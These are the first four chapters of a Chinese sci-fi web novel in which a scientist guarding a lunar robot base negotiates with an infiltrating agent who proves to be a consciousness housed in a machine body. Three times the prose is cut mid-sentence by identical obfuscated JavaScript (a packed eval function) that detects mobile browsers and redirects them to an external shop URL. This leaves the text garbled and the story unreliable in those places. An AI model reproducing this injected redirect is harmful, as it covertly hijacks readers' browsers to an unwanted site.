《拿着反派剧本拯救外星文明》 1. 入侵者 “警告——!” “警告——!” “安全门遭到强制入侵——!” 控制台上安放的圆形小机器人突然出声,急促的机械音砸进沉静的实验室,显得过分突兀。 林君山正品着上周酋长差人送来的电解质水,味道很淡,她并不喜欢。 她撩起眼皮看向上方的显示器。 “扫描体征。”林君山放下收容杯,缓声命令道。 “体征扫描失败,”圆形机器人的电光眼闪着蓝光,声音平稳无波,“侵入者携带屏蔽DNA芯片,虹膜识别仪出现障碍,信息不匹配。” 林君山的视线轻轻落在显示器中央的人影。来者是个身形高大的男人,他带着分离式面罩,覆盖了口鼻、脸颊和下巴,只露出了一双清秀的眸子。 监控摄像头的位置较高,圆形机器人贴心的放大了他的影像。 林君山仔细瞧了瞧他身上的便衣,他上身的深色短夹克衬得他腰线顺畅,下身穿着宽松的低可视度工装裤,一副狙击手打扮。她眯了眯眸子,并没有看见夹克左臂上应该存在的警徽或者军徽。 奇怪……不隶属于联国警队或军队? 可是普通公民没有获得芯片移植的机会。林君山思忖片刻,隐约感觉他是联国酋长派来的人。 能够成功植入屏蔽芯片又神不知鬼不觉的被酋长收进囊中的人,恐怕只存在于——联国刑警队的鹰组。 林君山轻轻蹙眉,正打算发布下一条命令,右方的常规显示屏却突然被酋长办公室的电子投屏霸占。 这人一向喜欢没有预兆的把电话打进来。 酋长爽朗的笑了起来,故意拖长了尾音:“林博士,好久不见。” 基地安全门被入侵才过几分钟不到,这句问候就丢了过来,像黄鼠狼给鸡拜年没安好心,意图太过明显。 “您这句问候还真是大动干戈,”林君山淡漠地开口,“不知道的还以为联国是打算非法接手基地呢。” 酋长没有搭理她的讥讽,肥胖的大脸堆起了笑容,霸占了整个屏幕,语气殷切: “你这说的哪里话,我打电话来,还不是为了问问你的近况?” 呵。 “劳烦您惦记着,”林君山冷声应道,“只要电解质水没有毒,我还能苟活一阵。” “瞧瞧你,”酋长咧嘴笑道,像是亲切的长辈似的训她,“一个人住在基地,越来越不近人情。” 林君山:“……” “我知道你对联国这样的安排有怨言。”酋长慢慢收起了笑容,面色变得和蔼可亲,他吐出一口气,继续说道: “只要你把跃迁程序交出来,我保证你可以回到地球和你的朋友们团聚。” 林君山冷笑了一声,根本没有抬起眼睛看向他。 酋长放慢了语速,一步步引诱道:“交出跃迁程序,你能获得自由身,不用再在这个暗无天日的基地里生活。” “地球机器人研究部还有高薪工作在等着你,只需要我写一封推荐信,你就可以稳坐首席科学家的位置。” 林君山连看都没看屏幕上那张白人脸,“酋长先生,这五年来,您提出来的条件永远都是这几个,是联国社会停止发展了吗?” 林君山嫌弃又淡漠的吐出几个字:“没点新意。” 酋长的脸色沉了沉,眼睛四周堆起的笑容逐渐变浅,一反常态地唤了她一声“博士”。 “我真心建议你交出跃迁程序。” 林君山抬眸,视线冷冷地打在年老的酋长身上:“我的回答和往常一样,我们的团队并没有研究出相关程序。” “君山,和我说谎对你没有任何好处,”酋长缓声说道,“联国高管都清楚你的老师和部分研究员已经踏上了星际旅程,他们已然成了逃犯,背叛了全人类,独自逃命,把你孤苦伶仃的留在这里。” 林君山这几年没少听他说这些挑拨离间的话,换作是别人她可能会有些许动摇,但面前的是能颠倒黑白的阿里求酋长。 这些政治家嘴里往往没一句实话,表现得越得体,内里便越凶恶。 “林君山博士。” 阿里求布满皱纹的脸显得过分沧桑,他依然没有卸下刚才那副伪善的面孔,面露着遗憾,语气又轻甚至带着些许惋惜。 好像这么让他说话,这些威胁人的语句,就显得“人道”。 “你再这么和联国作对,联国军事法庭会以妨碍人类文明延续的罪名指控你,我相信联国刑警会全力追查你的责任。” “我的责任?”林君山好笑地看着他,“你摸着你的良心问问,研究星际跃迁真的是为了人类文明吗?” 酋长摇头叹息,装出一副语重心长地模样,苦口婆心地劝说道: “君山,私藏基地成果违反了基地和联国制定的公约,你如果再执迷不悟,联国刑警会依法将你逮捕,到时我就无力回天了。” 说的比唱的好听。 基地的研究成果那么多,为什么联国偏偏盯着跃迁程序不放? 林君山闭着眼睛都能看得明白。 早在基地建立之前,地球人口基数就在不断增多,环境愈发恶劣,早已不能撑起人类生活的基本需求。 林君山年纪轻轻就被题名进基地工作,成为首席科学家助理,研究跃迁程序,以此帮助联国延续并传播人类文明,借此在宇宙找到一隅之地,发展成新型的公共居住地。 可研究发展到后期,联国的真实目的渐渐浮出水面,其高层管理人员,包括阿里求在内,颁布了披着传播人类文明外皮的殖民法,美其名曰——《红字文件》。 她加入这场研究的目的从始至终都不是援助联国开启宇宙殖民的黑暗时代,更不是为了满足权势滔天之人的虚荣心,而是因为热爱和骄傲。 所以跃迁程序,决不能交出去。 “可以,”林君山语气随意地道,“我等着他们的传唤,记得让他们穿厚一些,实验基地很冷,别在进门之前就牺牲了。” 林君山抬眼,淡漠地盯着那张厌烦的嘴角,一字一顿地说道:“机器人基地不收尸。” “切断通讯。”林君山收回视线,冷硬地命令道。 “通讯已切断。”圆形机器人似乎对主人的情绪一无所知,继续用电子机械音平静的报告: “警告!警告!” “安全阀门出现障碍,检测到电压过高,部分程序崩溃。” 林君山面色无常的命令道:“停止维护大门,断开电压,宣布基地进入高级戒备。” 机器人没有回话。 林君山疑惑地回眸,看见圆形机器人的电光眼由方型变为椭圆型。 圆形机器人出现任何形式的故障都会优先进入安全模式,等待程序员修改故障。 完全模式下,蓝色电光眼会变为鲜绿色,可眼型并不会发生变化。 林君山沉默地看了它片刻,“报告故障。” “对不起博士,”圆形机器人的声音太过平稳,听不出多少歉意,“我无法同外界产生联系。” 林君山:“?” 林君山迅速抬眼看像一直都在追踪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315397|198947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门外入侵者的显示器,显示器已然一片空白,方才的人影消失的无影无踪。 林君山深深皱起眉头,“是基地无线电出现障碍了吗?” “无法确认。”圆形机器人答道。 “熄屏,”林君山取下眼镜,捏了捏鼻梁,“换莱慈上岗。” 实验室的电光系统不太稳定,林君山抬起头望了一眼周围的布光,和她原先使用的线性光线不同,现在的实验室被块状斑点光笼罩,显得格外亮堂。 林君山的视线定在上方的显示器,显示器频率不停变化,在一阵黄黄绿绿之间勉强稳定,显出一双秀气的眼睛。 “喂,博士,您能听到吗?” 基地无线电应该已经被他切断了,他估计是通过脑波频道控制了这台显示器,传进实验室的声音过分失真,在空荡荡的实验室转了一圈,又重新传进她的耳朵。 奇怪。 联国已经有能够控制电脑端的波频了吗? 林君山疑惑地抬眸看向四周,除实验室电压略显不稳,其余系统已被悉数入侵,遭到强制关闭。 来者不善。 林君山并没有见过这双眼睛,略显警惕地望着显示器。 对方再次开口:“我是联国刑警老鹰小组成员温·金霖,代号1016。” 老鹰小组,又简称鹰组。 “很好,”林君山面色愠怒,“温警官,我需要一个解释。” “我奉命来羁押您。”温金霖的眼睛笑了笑,向后拨了拨额前的碎发。 “出示你的逮捕令,”林君山的视线彻底冷了下来,“否则我会以执法部门不正当行使权力提起复议,你们一向和联国司法部不对付,我不介意让你们相聚增进感情。” 温金霖抬起左手压着耳机,静等着林君山的话音落下,才含着笑开口道:“第一次看见您这么生气。” “是吗?”林君山重新坐回靠椅,没什么情绪的说道,“你既然是联国刑警,一定比我更了解联国法律,麻烦你和我科普一下,切断无线电波,入侵联国特批基地,是什么罪名?” “好吧,我以为博士会问我,我们是不是见过。”温金霖的眼睛眯成了一条缝,他背后是基地白花花的冷磁墙壁,这种地方在基地太过常见,林君山暂时没法判断出来他在哪里。 林君山:“?” “博士。”温金霖的回声越发明显,失真的电音似乎在和显示器波频融合,他拉下面罩,隔着屏幕笑盈盈地望着她: “您在联国军事大学担任了一学期的行星动力学讲师,我是您的学生之一。” 所以呢? 这和现在的一切有什么关联吗? 林君山的目光沉沉打在那张笑盈盈的脸上,若不是知道他是鹰组组员,她可能会下意识认为这双琥珀色的眼睛带着真情实意。 外表总是这么有欺骗性。 林君山的视线不动声色的向上移动,在变化的冷磁墙壁之间,她见到基地仓库特有的一柄银色的长杆,那是仓库和控制台之间的通讯装置。 林君山轻轻呼出一口气,静默地收回视线,在控制台按下一个绿色的按钮。 “看来博士并不想和我叙旧。”温金霖眼底的笑意逐渐变浓,他抬手将一枚黑色的耳机取下来放在掌中,正对着显示器使力捏碎了外壳,扔到脑后。 林君山表面沉静地望着他的一系列动作,如果她没有猜错,温金霖切断了和总部的通信,这对她来讲是好消息,但她隐约有些不安。 “那在我进入控制室之前,我们做个交易如何?” 2. 温金霖 林君山像是听到了一句笑话,眸底有了几分笑意地看向他: “温警官,机器人基地并没有控制室。我以为联国电脑终端的那帮秃子,已经将基地里里外外研究了个遍,看来也不过如此。” “林博士,”温金霖面上的笑容纹丝不动,“您是个聪明人,人类有句古话,识时务者为俊杰。” “不好意思,”林君山抱胸而坐,面色淡然,“我没有当俊杰的志向。” 温金霖的神色几不可查的一滞,咧嘴一笑。 “果然,”温金霖笑道,“你们这些知识分子就是不好忽悠。” 林君山:“……” 林君山冷淡的瞥了他一眼。 显示器上的身影突然停滞,后方的冷磁墙壁泛着白光,显示器的亮度也陡然升高了不少。 林君山没有出声,安静的盯着屏幕里的人接下来的动作。 温金霖停滞不前,大概过了两分钟,他才回眸透过显示器探进林君山看似毫无波澜的眸低。 “地球机器人研究部说,机器人基地没有机器人,”温金霖说,“我起初不信,现在似乎有点信了。” 林君山:“?” “所以博士,”温金霖眼底的笑意变得浓烈,“是基地没有机器人还是没有符合条件的机器人。” 林君山沉默了。 温金霖轻笑了一声,问道:“这扇门后面,会有机器人吗?是什么样的机器人?” 林君山呼吸略微紧促,她收回视线不再盯着显示器。 “您不交出跃迁程序,却在基地研究不合规机器人,”温金霖语气多了些玩味,“是要彻底和联国决裂吗?” “你没有逮捕令。”林君山答非所问。 温金霖从鼻腔闷出一声轻哼,双眼却隔了几秒钟才显出笑意,“博士,我们一定要这么聊天吗?” 她忽然意识到屏幕里这双眼睛和肉眼有一丝微妙的出入,人类眼睛虹膜色彩并没有屏幕里这么鲜艳,无论是蓝色眼睛还是棕色眼睛,在冷光下都暗沉一些。 温金霖的脸部轮廓太过完美,微表情只是看着切换自如,却和五官表达之间有一定的间隔。 林君山微微蹙眉,她只记得基地曾经研究的一类人形机器人有类似的状况,但这一批机器人在接受联国检测时,因不符合规定而全部销毁。 林君山也不认为当时的人形机器人能在短期内,被完善成像温金霖这样的“真人”。 除非……那一批机器人根本没有被销毁。 林君山如果没有记错,鹰组成员多数是军事学院毕业的高材生。他们背景简单,多生长于联国各地的孤儿院、少年监狱等地,容易被收编进鹰组机构,为联国工作。 鹰组成员各个身怀绝技,因生长环境较为恶劣,成员性格乖张跳脱,不似普通联国刑警严格遵守纪律。 联国酋长建立的鹰组相当于一批敢死队,成员大多不是循规蹈矩之人,队长想必也是如此。既然这样,酋长如何能掌控这一组织? 林君山有个大胆的猜想——如果鹰组队长是直接听命于酋长的机器人,生杀予夺全凭酋长一句话,那是不是就等于酋长不废一兵一卒,直接控制了鹰组? “开门见山怎么样?”温金霖依然站在原地,那双眼睛笑盈盈地望向林君山。 林君山沉吟片刻,静道:“你是机器人。” 温金霖的身形微微一顿,静静地探进她的眼底。 “地球现存的人形机器人都是由基地直接提供,”林君山静道,“所以联国并不会将人型机器人纳入任何机构。” 林君山:“那你是什么?” 温金霖面色如常,笑脸盈盈。 “机器人?”林君山问,“还是半机器人?” 真有意思。 为了防止基地拒绝交出跃迁程序,联国甚至私藏不合规机器人作为对付基地的武器。 当初销毁机器人的由头有多么义正言辞,现在想起来就有多么冠冕堂皇。 基地第一批人形机器人虽然没有完全打破机器人三法则,却和普通机器人有很大的区别,他们只服从于制造者,并且会尽全力完成制造者所有的要求。 哪怕这个要求会伤害人类的性命,它也会率先完成,再进行自我报废,彻底关闭系统,进入永眠状态。 基地研究这批机器人,仅仅是为了保护基地安全,联国当时却认为这批机器人危害性巨大,一旦被反科技派得知,后果不堪设想。 征得所有研究员的同意后,联国就地将机器人销毁。 现在看来,那也不过是做给基地研究员看的。 联国估计是趁他们参加销毁仪式时,将这批机器人偷运回地球,以此人形机器人为基础,研制了新型机器人,而温·金霖很有可能是这批机器人更新后的最优成品。 温金霖静默地望着林君山,他们之间隔了一扇屏幕,除了偶尔能听见基地因故障而停止运作的报告声,便只剩下一片寂静。 “你的确很完美,也许现在没几个人知道你是机器人,包括联国内部,知晓你身份的人应该也很少。” 林君山中肯地评价道:“我并不清楚你是谁制造的,但我打赌,那个人一定将第一批人形机器人研究得很透彻,是联国电脑终端的那帮废物吗?” 林君山讽刺地笑了一声,“我觉得他们没有这个能力。” “那是地球研究部?” “如果我不想回答呢,”温金霖笑着说,“博士会逼迫我吗?” “我没那个兴趣,”林君山没有得到想要的答案,意兴阑珊地说道,“开了闸门,我就能知道你是不是了,无论你说与不说,我都能找到我想要的答案。” 闸门外确实有一群机器人,是莱慈系统的备用基地机器人,刚才在控制台前按下的按钮,正是为了将分布在各个仓库的机器人召集进闸门。 他们并不是温金霖口中的“不合规”机器人。只不过内部程序被林君山做了部分修改,机器人三法则一向不能做出多少改动,不过可以附加条件,比如基地机器人需在三法则允许的前提下保护基地。 如果温金霖以暴力手段入侵基地,基地机器人将直接擒住他,如若他反抗,机器人会以不伤害他性命的方式将他羁押,但这些都有一个前提——温金霖是人类。 如果他不是人类,那基地机器人会将他看成类机器人武器,不遗余力地遏制他的系统,直至将他销毁。 温金霖脸上的笑意僵滞了一瞬,他看着林君山冷淡的模样,心沉了沉。 “你不敢开,”林君山挑了挑眉,“所以,你是机器人。” “好了,温警官,”林君山重新带上眼镜,“我没有精力再和你玩游戏了,你现在有两个选择,一灰溜溜的回到你主人身边摇尾乞怜,让他不要将你开除。” “当然,我会替你保守你是机器人的秘密,这点你不用担心。” 林君山向屏幕比了个“2”,继续说,“二,打开闸门,壮烈牺牲,如果我没有猜错,你已经切断了自己和总部的通讯,让他们认为你死在机器人基地,兴许还能在联国烈士壁里留下名字。” 空气彻底凝固,温金霖安静了许久,最后却闷声笑了起来。 笑声毫无预兆,混着不同频率的电流声荡进实验室,传到林君山的耳朵里。 林君山的视线彻底沉了下来,冷声提醒道:“温警官,你似乎没有搞清楚现状。” “哪里的话,”温金霖依然含着笑,从容的耸了耸肩,“博士不会不知道,杀了我,就等于和联国宣战,基地实力还没有强劲至此吧,不然您也不会给我这两个选择。” 林君山并没有接话。 她只是静静的注视着温金霖那双琥珀色的亮眼睛,什么也没说。 “我知道基地被不同频的电子罩保护着,联国电脑终端的那些人没有办法真正了解到基地全貌,”温金霖说,“这五年来他们所监视的,不过是博士精心策划的假象。” “您利用了双电子投屏,”温金霖说,“扰乱地球传进基地的磁场,产生平镜面。镜面折射的光波稳定,所以联国不会有人发现。” 林君山蹙了蹙眉,指尖悄悄握紧交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315398|198947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叉的双臂。 “我若是无功而返,”温金霖说,“联国司法部一定会请我去喝茶,只要他们稍微利用心里仪和精神电冲击,博士的秘密就守不住了。” 林君山冷冷地瞧着他。 这也是林君山不愿意被羁押的原因。联国的刑讯手段太过严苛,精神电器的使用炉火纯青,让人求生不得求死不能,心理仪已然发展到能够探测心灵的程度。 虽说现用的心理仪能够探测的程度尚浅,但林君山不敢赌这一遭。 她若是落在他们手里,不止基地她可能连跃迁程序也守不住。 “私自更改基地系统,”温金霖语调温和的继续补充说,“研制非法机器人,足以以叛国定罪,到时博士想护着的东西,恐怕一个也护不住。” “所以,”温金霖伸手敲了敲闸门,双眼微眯,“我们现在可以谈谈了吗?” “你想做什么?”林君山不屑于再同他周旋,开门见山地问道。 “简单,”温金霖笑着歪了歪头,“和博士一起干一件事。” 林君山沉默地看着他。 温金霖最后吐出四个字:“炸了基地。” 林君山心头一震,从位置站起来,双手搭在控制台前,身体前倾,冷硬地问道:“如果我不同意呢?” 温金霖眸子弯了弯,笑道:“那就要看博士到底是要护着基地,还是要护着跃迁程序了。” 林君山镇守基地,是为了重新和老师他们取得联系。跃迁程序看似很完备,她却始终没有等到他们的返程,若基地被毁,此处一定会发生能量塌缩,坐标会因此产生一定的时空误差。 他们可能会因为坐标不准,而跃迁到其他陌生星系,被迫流浪。 跃迁程序的时间规定尚且不完整,所以她不得不以地球时间守在基地,等待他们回来。 而她护着跃迁程序,则是为了防止联国开启宇宙殖民时代。 人类恃强凌弱的本性难移,若跃迁程序归于完善,他们一定会去寻找资源丰富的星球与星系,进行移民。 而移民又可能意味着另一类不为人知的文明消失。他们披着“移民”的幌子,去殖民并统治其它星系。 这样的野心,联国从前没有藏住,现在也不屑于隐瞒,从始至终都是基地研究员一叶障目,误认为联国只是想延续文明。 “我如果都想护呢?”林君山没有犹豫,直接发问。 “博士,人不能这么贪心。”温金霖说。 “你为什么要和我合作?”林君山问,“你并没有陷入什么两难的境地,你的话毫无可信度。” “还有,你们联国刑警队,尤其是鹰组的信用度在我这里都快成负数了,”林君山抬眸看着他,“毕竟你们直属于阿里求。” 温金霖脸上的笑容逐渐浓厚,双目也渐渐添了几分笑意,“您终于愿意和我合作了,我很高兴。” “我并没有说我同意合作,”林君山纠正道,“你需要用一个理由说服我,否则我将打开闸门,你就算是死了,我也能安全脱身。” “洗耳恭听。”温金霖温和地笑道。 “没什么特别的方式,只是酋长一定知道,反科技派比我更难缠。”林君山静道。 的确如此。 将鹰组队长是不合规机器人的消息透露给反科技派,酋长估计得头疼好一阵。 林君山抓住这一个把柄就够了。 “好吧,”温金霖神色无奈地耸了耸肩,“只不过比较可惜,我并不是机器人,这一点,联国内部的任何资料都可以补充解释。” 林君山的手不动声色的接近控制台前的闸门按钮,只要她听到任何一句不利于现状的话语,她会立马按下按钮。 “别着急,”温金霖神色自若,甚至开始宽慰林君山,“先听我说完,您再考虑要不要打开闸门。” “您可以放心,”温金霖语气诚恳地说道,“我不会逃。” 林君山收回手,安静地坐回靠椅,静默地望着他。 “我并不是机器人,”温金霖说,“我只是一副机体。” 3. 温金霖的建议 “我的意识存于电脑终端,”温金霖语气柔和,眼底一片沉静,“同博士眼前的这副躯壳融合在一起。” 林君山大脑一片空白,她茫然地抬眸,想发问又不知道如何张口。 利用电脑终端存储意识,再利用机体连接终端,是人类永生工程之一。 可这些工程早在基地建立前便被明令禁止,相关人员都被联国收押服役,大部分都被判处死刑。 林君山心底渐渐涌出一阵不安。联国私自研究的技术完全与自然规律相悖。 古往今来,一切违背自然的物质,都会被自然清除。 “从生理学来讲,我并不是一个完全的人类,”温金霖解释说,“但从心理学来讲,我能感受疼痛,能感知世界,所以我并不是机器人。” “自从基地建立初期研发出人型机器人开始,我便被联国电脑终端控制,”温金霖说,“强行载入机体,成为鹰组队长,我需要摆脱被人操控的命运。” “因为我是人类,”温金霖探进林君山略显怔愣的眸底,“并不是受人牵制的机器。” “能帮到我的,”温金霖垂眸,睫毛微颤,“只有博士。” 实验室的报告程序戛然而止,显示器另一端的人影轮廓变得有些模糊,林君山沉默地望着显示器中央的身形。 “我如果要想将存在联国终端的意识提出,”温金霖说,“需要您的帮助。” 林君山蹙眉不语。 那现在的温金霖到底是有自我意识的人,还是受控于联国终端的类人? “我花了好长时间研究如何将意识一分为二,”温金霖将她的反应收进眼底,温和地补充说,“让其中一份存于联国终端,便于他们监视,另一份由我本人操控,不受他们牵制。” “在来到基地之前,”温金霖说,“我依旧没有比较好的方法,但看到博士使用的双电子投屏,我试图将该程序植入大脑,现在已经取得了部分成功。” 林君山没有贸然开口承认什么。她始终无法确定温金霖说的话,哪句真哪句假。 在确认这个人的来意之前,她不会主动提起任何一项有关基地的研究。 “我部分意识现在能够屏蔽联国指令输入,”温金霖没有再和林君山弯弯绕绕,反而开门见山地说道,“所以,和您对话的温金霖,是有自主意识,并且暂时不受联国控制的。” 林君山仔细琢磨了一下“暂时”这个字眼。 “那和你合作我根本没法得到保障,”林君山说,“我无法确定你什么时候是我的盟友,什么时候是我的敌人。” “风险太大,”林君山拒绝道,“我不做这种买卖。” “风险越大,收益越高,”温金霖试图说服她,“如果您愿意和我合作,可以帮我完成更高级的双电子投屏程序,这时,我是您百分之百的盟友。” “作为您的盟友,”温金霖说,“保护您和跃迁程序的安全,将会是我的首要任务。您的意思,将会变成我的目的。” “等等,”林君山适时打断他的话语,“你不愿受制于联国终端,前来寻找我的帮助,现在又甘愿成为我的附庸,为什么?” 温金霖琥珀色的双眸弯成了月牙,他眉眼盈盈地望着林君山,戏谑地说道:“博士,和您共事,总比和一帮不知情趣的爷们儿共事,有趣一些。” “很好,”林君山的脸色彻底沉了下来,抬手作势按下按钮,“你还是去和闸门后的机器人较量吧,我这儿庙小,装不下你这尊大佛。” “开个玩笑,”温金霖笑着歪了歪脑袋,“如果冒犯到您了,我向您道歉。” 林君山脸色阴沉,冷冷瞧着温金霖脸上不值钱的笑。 “我只是想打个赌,”温金霖渐渐拾起眼窝四周洋溢的笑意,柔声补充道,“您和联国酋长,并不是一类人。” 林君山没有回话。 温金霖来到基地,是孤掷一注。 是认为林君山不似联国那帮人空有一身伪善的外表。 “博士,”温金霖抬眸,恢复了往常笑盈盈的模样,“利用地球时间换算,您还有一天时间,考虑是否要和我合作。” “时间一到,”温金霖说,“联国其余刑警会陆续抵达基地,将您抓捕归案,到时您不仅会背上叛国罪,还将面对军事法庭的控告,以非法制造并使用机器人定罪处罚。” 温金霖似乎将她逼到了绝地。 林君山神情冷淡,她不屑于被控告,罪名多一样少一样,对她来讲毫无意义。 “你以为我没有任何选择的余地了吗?”林君山沉静地开口,语气平缓,讽刺意味颇深,“温警官,太过自信并不是好事。” “博士言重了,”温金霖笑道,“我只是再为博士寻找最好的出路。毁了基地,您可以以假死脱身,联国定会将您奉为殉国的科学家,总比背负骂名锒铛入狱这个下场,要好得多。” 看吧。 这就是人。 这才真正的人性。 林君山逐渐开始接受温金霖是人类的事实。 这样冠冕堂皇的话,也只有人类才能如此轻而易举地说出口。 “你要我苟活于世?”林君山盯着他的眼睛,“好被你支配?” 林君山似乎明白温金霖被派到基地当“先遣队”的原因了。 联国担忧林君山同基地和跃迁程序自毁。 否则,也不会派温金霖这样的“意识机体”来逮捕林君山。 “我和博士交个底,”温金霖开口,证实了她的猜想,“抓捕行动在地球时间一日后,我收到的命令是前来劝降,若发现您不配合,需要和联国取得联系,坐实您叛国,并且要防止您与基地自毁。” 果真如此。 “所以,”林君山沉声开口,“你才入侵基地系统。” “正是,”温金霖从容地耸了耸肩,“我本想夺取基地控制权,却发现无法更改程序,所以只能选择关闭系统。” “是吗?”林君山的指尖轻轻搭在控制台沿,若有若无的敲着控制台。 凡事都要讲究证据,在没有实证之前,温金霖就算是把黑的说成白的,林君山一个字也不会信。 “万一是你发现你没有办法夺取基地控制权,”林君山似笑非笑地看着他,“所以假意和我合作呢?” “我没有这么做的理由,”温金霖面色如常,只不过那双眼睛已然疲惫于伪装,没什么情绪的看着显示器,“我说过了,能够帮助我的,只有博士。” “闸门身后有什么我都不害怕,”温金霖语调含着笑,仿生瞳孔却没什么笑意,“我有能力控制显示器,同样也有能力控制机器人,这是我的意识作为连接体的,最好的证明。” 林君山的脸色沉了下来,难怪温金霖能够控制这些显示器。意识机体本来就有流动的特性,只要找到无线电接口,便能入侵程序,直至完全操控。 基地本身的接口有高级防火墙加持,就连林君山本人也不清楚如何破坏。 她和其他研究员虽然都有基地最高权限,但以上权限都是分散给予的,每一项权限都和他们负责的内容有关。 只有所有人聚在一起,才能跨过基地防火墙进行跨越研究。 所以温金霖没有办法入侵基地连接口,从而夺取控制权。 “我只是不想和博士为敌,”温金霖说,“就算博士拒绝和我合作,我也不会把您交给联国,因为我比联国更需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315399|198947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您。” 还真要来“强取豪夺”这一套啊。 温金霖作为意识机体,也太过张扬肆意了。 林君山静道:“我不同意你会带我走,我同意了你也会带我走,我要付出的代价,是一整个基地。” 林君山轻轻叹了一口气。“你是这个意思,对吗?” “我想,”温金霖的眼睛重新有了光亮,显示器的不稳定性越来越高,他的身形越发模糊,“这也是博士的意思。” “我相信您不会坐以待毙,”温金霖说,“为了宇宙文明,您可以舍弃基地。” 可那是他们几十年的心血。有多少人为基地前仆后继,才将基地建造成如今的模样? 她就算是再怎么铁石心肠,也没办法用前辈们的心血苟且偷生。 “我说过了,”林君山垂着眸子,平静地说道,“机器人基地不能出事。” “您没有选择。”温金霖的声音彻底冷了下来。 显示器背景的冷磁墙壁已然变成一副模糊的背景板,瓷砖之间的线条被显示器中四处乱窜的电子点染,格外的不协调。 “不仅机器人基地,”林君山抬眸,对温金霖的威胁置若罔闻,“跃迁程序我也不会放弃。” “我和你的命加起来,都没有这个基地重要。” 温金霖的眼睛渐渐被电子侵染,显示器上蹦出五颜六色的线条,他传进实验室的声音格外失真,语调冷硬,仔细听还能听出机械地平板: “很遗憾博士,我们的交谈可能要结束了,我需要——” “我可以帮你,”林君山直接掐断了他的话音,“但不是以牺牲基地为代价。” 显示器逐渐归于平静,条状色块渐渐被铺平,中央的人影从忽隐忽现变成了稳定的图像。 温金霖神色不惊地看着林君山。 “在这之前我要提醒你,”林君山的视线沉沉地打在他身上,严肃地说道,“我要做的事情,没有人知道,也不会有人知道。” “做成了,我要无人知晓。” 散落在宇宙各地的文明,不需要知道银河系的角落有她这样一个人。 “失败了,万人唾骂,”林君山轻哼了一声,语气坦然,“兴许还死无葬身之地。” 因为在地球饱受煎熬的人类,终有一天会知道是她阻止人类跃迁,阻止他们追寻新的家园。 而要确保跃迁程序安然无恙,就必须要和权力顶端的那些人斡旋,稍有不慎是粉身碎骨,是竹篮打水一场空。 她从来没有想过和基地同归于尽,她想做的是一直很简单。 只不过是想守着同伴们的心血,避免被有心之人利用,等着他们归来。 仅此而已。 温金霖心头微动,他没有过这样的感觉,也不清楚同全世界为敌是什么样的感受,而显示器对面的林君山,早已和全人类割裂,被囚禁在月球机器人基地,整整五年。 “博士,”温金霖恢复了往常吊儿郎当的模样,“您说的这些我并不懂,我没有那么强烈的人文情怀,我只想自由的活着而已,哪怕只有片刻,我也如愿以偿。” “你会的。”林君山抬眸,放缓了语调问道:“现在我需要你告诉我,鹰组除了你,还有别的像你一样的人吗。” “没有,”温金霖说,“不止鹰组,连全地球都找不出第二个意识机体。” “好,”林君山沉声道,“接下来按我说的做。” 温金霖站直了些,微笑着说道:“洗耳恭听。” “关闭你的双电子干扰程序,打开闸门。”林君山语气平静的命令道。 温金霖微微一怔。 “然后,”林君山说,“活着找到我。” 4. 莱慈系统 “这么做是不是有点草率了啊?” 基地的供电系统依然处于崩溃状态,实验室操作台上的大部分机体和控制开关都已经失灵,上方的几面显示器时不时闪着黑光,电子撞击带出的彩格也一样忽隐忽现。 林君山身边的圆形机器人已然变成了“人形”,从折叠和低能态的台桌机器人变成了高能耗的人形机器人。 他叫莱慈,莱慈系统的核心控制机体。 “可能吧。”林君山说。 林君山没有更好的选择,不能眼睁睁看着他炸毁基地。 很明显,温金霖有这个实力。也不知道这五年来联国为什么没有派遣温金霖前往基地。 林君山没再多话,而是静静扫了一眼立在控制台旁的身影。 莱慈的身量很高,外表和普通地球刚成年的男性没有多少差别,面色红润,光泽自然,足以以假乱真。 和地球普通机器人相比,他有更完备的“情感感知库”,他的个人数据端随时和林君山的脑波频道相连,凡林君山所见,同样也成了他的记忆。 莱慈的耗电性能太大,不足以支撑他随时陪伴在林君山身侧,往常都通过低耗能状态积攒电能,以备不时之需。 “我可能要责怪你,现在才唤醒莱慈系统。”莱慈的音调沉稳但不似其他机器人平板,他的声音是可以听出“温度”的。 林君山收回视线,问道:“这是检测到什么了?居然开始兴师问罪了。” “百分之三十七以上的基地系统被门外那个怪物毁了,”莱慈的人眼双目盯着她,似乎是在生气,“我说得再确切一点,你的基地已经失去了和外界联系的所有方式。” “我不管他是人还是机体,”莱慈语气有些愤慨,“莱慈系统的机器人都不会放过他。” 莱慈对温金霖的敌意有些大,林君山不解地探进他愠怒的眸子。 “你看我干什么?”莱慈抱着臂转过身,背对着她说,“我修不好。” “你怎么这么大怨气?”林君山问,“休息了两年,你开口第一句居然不是问一句你好不好?” 